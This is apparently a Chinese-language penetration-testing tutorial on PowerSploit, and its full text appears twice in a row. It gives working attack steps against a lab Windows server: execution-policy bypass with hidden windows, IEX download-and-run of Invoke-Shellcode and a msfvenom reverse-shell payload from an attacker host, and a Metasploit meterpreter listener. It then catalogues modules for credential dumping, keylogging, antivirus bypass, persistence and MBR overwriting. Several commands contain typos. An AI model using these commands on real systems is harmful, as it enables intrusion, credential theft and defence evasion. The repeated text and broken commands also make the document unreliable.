Powershell内网渗透利器之PowerSploit
powershell是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利用 .NET Framework的强大功能，PowerShell脚本的文本文件，其文件名需要加上扩展名“.PS1”。PowerShell需要.NET环境的支持，同时支持.NET对象，其可读性、易用性居所有Shell之首。
PowerShell具有以下特点。
1、在Windows 7以上的操作系统中是默认安装的。
2、PowerShell脚本可以运行在内存中，不需要写入磁盘。
3、几乎不会触发杀毒软件。
4、可以远程执行。
5、目前很多工具都是基于PowerShell开发的。
6、使得Windows的脚本攻击变得更加容易。
7、cmd.exe通常会被阻止运行，但是PowerShell不会。
8、可以用来管理活动目录。
下面以文件操作为例讲解PowerShell命令的基本用法。
1、新建目录：New-ltem whitecellclub-ltemType Directory。
2、新建文件：New-ltem light.txt-ltemType File。
3、删除目录：Remove-ltem whitecellclub。
4、显示文本内容：Get-Content test.txt。
5、设置文本内容：Set-Content test.txt-Va l u e''hello,word! ''。
6、追加内容：Add-Content light.txt-Value ''i love you ''。
7、清除内容：Clear-Content test.txt。
请参考powershell在线教程：https://www.pstips.net/powershell-online-tutorials
攻击机：kali
靶机：server2008 R2
首先在kali里把web服务给开开。
下载最新版的PowerSploit脚本文件到本地；git clone https://github.com/mattifestation/PowerSploit.git
PowerSploit是GitHub上面的一个安全项目，上面有很多powershell攻击脚本，它们主要被用来渗透中的信息侦察、权限提升、权限维持。
再把PowerSploit文件放到web目录中
用msfvenom生成一个反弹shell，方便invoke-shellcode注入，再把shell放到web里
（1）绕过本地权限执行
如果是管理员身份可以运行powerrshell之后,设置脚本的运行策略
set-executionpolicy unrestricted
PowerShell脚本在默认情况下无法直接执行，这时可以使用下面方法绕过安全策略，运行PowerShell脚本绕过本地权限 执行。（ 注：先上传PowerUp.ps1至目标服务器）
powershell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"
运行完隐藏命令后窗口会关闭，绕过本地权限隐藏执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Nonl
（2）从网站服务器上下载PS1脚本，绕过本地权限隐藏执行
在靶机上执行命令（为了更直观所以通过IEX下载调用invoke-shellcode以及生成的反弹马。）
IEX(New-Object Net.WebClient).DownloadString(“http://192.168.1.1/CodeExecution/Invoke-Shellcode.ps1”)
IEX(New-Object Net.WebClient).DownloadString(“http://192.168.1.1/code”)
执行
Invoke-Shellcode -shellcode $buf -Foece
用msf设置监听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LhOST 192.168.47.131
执行监听，查看效果
若关闭powershell，那么连接也会终断， 因为承载木马的powershell被关闭了。
下面对上述命令中的参数进行说明。
1-ExecutionPolicy Bypass（-Exec Bypass）：绕过执行安全策略，这个参数非常重要。在默认情况下，PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数，可以绕过任意安全保护规则。在渗透测试中，通常每次运行PowerShell脚本时都要使用这个参数。
2-WindowStyle Hidden(-W Hidden)：隐藏窗口。
3-Nonlnteractive（-NonI）：非交互模式。PowerShell不为用户提供交互的提示。-NoProfile（-NoP）：PowerShell控制台不加载当前用户的配置文件。
4-noexit：执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
5-NoLogo：启动不显示版权标志的PowerShell。
Windows操作系统中，存在两个版本的PowerShell，一个x64版的，还有一个x86版的。 这两个版本的执行策略不会相互影响，可以把它们看成两个独立的程序。x64版PowerShell的配置文件位于%windir%\syswow64\WindowsPowerShell\v1.0\下。
PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
CodeExecution
Execute code on a target machine.
Invoke-DllInjection
Injects a Dll into the process ID of your choosing.
Invoke-ReflectivePEInjection
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
Invoke-Shellcode
Injects shellcode into the process ID of your choosing or within PowerShell locally.
Invoke-WmiCommand
Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
ScriptModification
Modify and/or prepare scripts for execution on a compromised machine.
Out-EncodedCommand
Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
Out-CompressedDll
Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.
Out-EncryptedScript
Encrypts text files/scripts.
Remove-Comment
Strips comments and extra whitespace from a script.
Persistence
Add persistence capabilities to a PowerShell script
New-UserPersistenceOption
Configure user-level persistence options for the Add-Persistence function.
New-ElevatedPersistenceOption
Configure elevated persistence options for the Add-Persistence function.
Add-Persistence
Add persistence capabilities to a script.
Install-SSP
Installs a security support provider (SSP) dll.
Get-SecurityPackages
Enumerates all loaded security packages (SSPs).
AntivirusBypass
AV doesn't stand a chance against PowerShell!
Find-AVSignature
Locates single Byte AV signatures utilizing the same method as DSplit from "class101".
Exfiltration
All your data belong to me!
Invoke-TokenManipulation
Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
Invoke-CredentialInjection
Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).
Invoke-NinjaCopy
Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.
Invoke-Mimikatz
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.
Get-Keystrokes
Logs keys pressed, time and the active window.
Get-GPPPassword
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
Get-GPPAutologon
Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.
Get-TimedScreenshot
A function that takes screenshots at a regular interval and saves them to a folder.
New-VolumeShadowCopy
Creates a new volume shadow copy.
Get-VolumeShadowCopy
Lists the device paths of all local volume shadow copies.
Mount-VolumeShadowCopy
Mounts a volume shadow copy.
Remove-VolumeShadowCopy
Deletes a volume shadow copy.
Get-VaultCredential
Displays Windows vault credential objects including cleartext web credentials.
Out-Minidump
Generates a full-memory minidump of a process.
Get-MicrophoneAudio
Records audio from system microphone and saves to disk
Mayhem
Cause general mayhem with PowerShell.
Set-MasterBootRecord
Proof of concept code that overwrites the master boot record with the message of your choice.
Set-CriticalProcess
Causes your machine to blue screen upon exiting PowerShell.
Privesc
Tools to help with escalating privileges on a target.
PowerUp
Clearing house of common privilege escalation checks, along with some weaponization vectors.
Recon
Tools to aid in the reconnaissance phase of a penetration test.
Invoke-Portscan
Does a simple port scan using regular sockets, based (pretty) loosely on nmap.
Get-HttpStatus
Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file.
Invoke-ReverseDnsLookup
Scans an IP address range for DNS PTR records.
PowerView
PowerView is series of functions that performs network and Windows domain enumeration and exploitation.
Recon\Dictionaries
A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.
- admin.txt - http://cirt.net/nikto2/
- generic.txt - http://sourceforge.net/projects/yokoso/files/yokoso-0.1/
- sharepoint.txt - http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/
powershell是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利用 .NET Framework的强大功能，PowerShell脚本的文本文件，其文件名需要加上扩展名“.PS1”。PowerShell需要.NET环境的支持，同时支持.NET对象，其可读性、易用性居所有Shell之首。
PowerShell具有以下特点。
1、在Windows 7以上的操作系统中是默认安装的。
2、PowerShell脚本可以运行在内存中，不需要写入磁盘。
3、几乎不会触发杀毒软件。
4、可以远程执行。
5、目前很多工具都是基于PowerShell开发的。
6、使得Windows的脚本攻击变得更加容易。
7、cmd.exe通常会被阻止运行，但是PowerShell不会。
8、可以用来管理活动目录。
下面以文件操作为例讲解PowerShell命令的基本用法。
1、新建目录：New-ltem whitecellclub-ltemType Directory。
2、新建文件：New-ltem light.txt-ltemType File。
3、删除目录：Remove-ltem whitecellclub。
4、显示文本内容：Get-Content test.txt。
5、设置文本内容：Set-Content test.txt-Va l u e''hello,word! ''。
6、追加内容：Add-Content light.txt-Value ''i love you ''。
7、清除内容：Clear-Content test.txt。
请参考powershell在线教程：https://www.pstips.net/powershell-online-tutorials
攻击机：kali
靶机：server2008 R2
首先在kali里把web服务给开开。
下载最新版的PowerSploit脚本文件到本地；git clone https://github.com/mattifestation/PowerSploit.git
PowerSploit是GitHub上面的一个安全项目，上面有很多powershell攻击脚本，它们主要被用来渗透中的信息侦察、权限提升、权限维持。
再把PowerSploit文件放到web目录中
用msfvenom生成一个反弹shell，方便invoke-shellcode注入，再把shell放到web里
（1）绕过本地权限执行
如果是管理员身份可以运行powerrshell之后,设置脚本的运行策略
set-executionpolicy unrestricted
PowerShell脚本在默认情况下无法直接执行，这时可以使用下面方法绕过安全策略，运行PowerShell脚本绕过本地权限 执行。（ 注：先上传PowerUp.ps1至目标服务器）
powershell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"
运行完隐藏命令后窗口会关闭，绕过本地权限隐藏执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Nonl
（2）从网站服务器上下载PS1脚本，绕过本地权限隐藏执行
在靶机上执行命令（为了更直观所以通过IEX下载调用invoke-shellcode以及生成的反弹马。）
IEX(New-Object Net.WebClient).DownloadString(“http://192.168.1.1/CodeExecution/Invoke-Shellcode.ps1”)
IEX(New-Object Net.WebClient).DownloadString(“http://192.168.1.1/code”)
执行
Invoke-Shellcode -shellcode $buf -Foece
用msf设置监听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LhOST 192.168.47.131
执行监听，查看效果
若关闭powershell，那么连接也会终断， 因为承载木马的powershell被关闭了。
下面对上述命令中的参数进行说明。
1-ExecutionPolicy Bypass（-Exec Bypass）：绕过执行安全策略，这个参数非常重要。在默认情况下，PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数，可以绕过任意安全保护规则。在渗透测试中，通常每次运行PowerShell脚本时都要使用这个参数。
2-WindowStyle Hidden(-W Hidden)：隐藏窗口。
3-Nonlnteractive（-NonI）：非交互模式。PowerShell不为用户提供交互的提示。-NoProfile（-NoP）：PowerShell控制台不加载当前用户的配置文件。
4-noexit：执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
5-NoLogo：启动不显示版权标志的PowerShell。
Windows操作系统中，存在两个版本的PowerShell，一个x64版的，还有一个x86版的。 这两个版本的执行策略不会相互影响，可以把它们看成两个独立的程序。x64版PowerShell的配置文件位于%windir%\syswow64\WindowsPowerShell\v1.0\下。
PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
CodeExecution
Execute code on a target machine.
Invoke-DllInjection
Injects a Dll into the process ID of your choosing.
Invoke-ReflectivePEInjection
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
Invoke-Shellcode
Injects shellcode into the process ID of your choosing or within PowerShell locally.
Invoke-WmiCommand
Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
ScriptModification
Modify and/or prepare scripts for execution on a compromised machine.
Out-EncodedCommand
Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
Out-CompressedDll
Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.
Out-EncryptedScript
Encrypts text files/scripts.
Remove-Comment
Strips comments and extra whitespace from a script.
Persistence
Add persistence capabilities to a PowerShell script
New-UserPersistenceOption
Configure user-level persistence options for the Add-Persistence function.
New-ElevatedPersistenceOption
Configure elevated persistence options for the Add-Persistence function.
Add-Persistence
Add persistence capabilities to a script.
Install-SSP
Installs a security support provider (SSP) dll.
Get-SecurityPackages
Enumerates all loaded security packages (SSPs).
AntivirusBypass
AV doesn't stand a chance against PowerShell!
Find-AVSignature
Locates single Byte AV signatures utilizing the same method as DSplit from "class101".
Exfiltration
All your data belong to me!
Invoke-TokenManipulation
Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
Invoke-CredentialInjection
Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).
Invoke-NinjaCopy
Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.
Invoke-Mimikatz
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.
Get-Keystrokes
Logs keys pressed, time and the active window.
Get-GPPPassword
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
Get-GPPAutologon
Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.
Get-TimedScreenshot
A function that takes screenshots at a regular interval and saves them to a folder.
New-VolumeShadowCopy
Creates a new volume shadow copy.
Get-VolumeShadowCopy
Lists the device paths of all local volume shadow copies.
Mount-VolumeShadowCopy
Mounts a volume shadow copy.
Remove-VolumeShadowCopy
Deletes a volume shadow copy.
Get-VaultCredential
Displays Windows vault credential objects including cleartext web credentials.
Out-Minidump
Generates a full-memory minidump of a process.
Get-MicrophoneAudio
Records audio from system microphone and saves to disk
Mayhem
Cause general mayhem with PowerShell.
Set-MasterBootRecord
Proof of concept code that overwrites the master boot record with the message of your choice.
Set-CriticalProcess
Causes your machine to blue screen upon exiting PowerShell.
Privesc
Tools to help with escalating privileges on a target.
PowerUp
Clearing house of common privilege escalation checks, along with some weaponization vectors.
Recon
Tools to aid in the reconnaissance phase of a penetration test.
Invoke-Portscan
Does a simple port scan using regular sockets, based (pretty) loosely on nmap.
Get-HttpStatus
Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file.
Invoke-ReverseDnsLookup
Scans an IP address range for DNS PTR records.
PowerView
PowerView is series of functions that performs network and Windows domain enumeration and exploitation.
Recon\Dictionaries
A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.
- admin.txt - http://cirt.net/nikto2/
- generic.txt - http://sourceforge.net/projects/yokoso/files/yokoso-0.1/
- sharepoint.txt - http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/
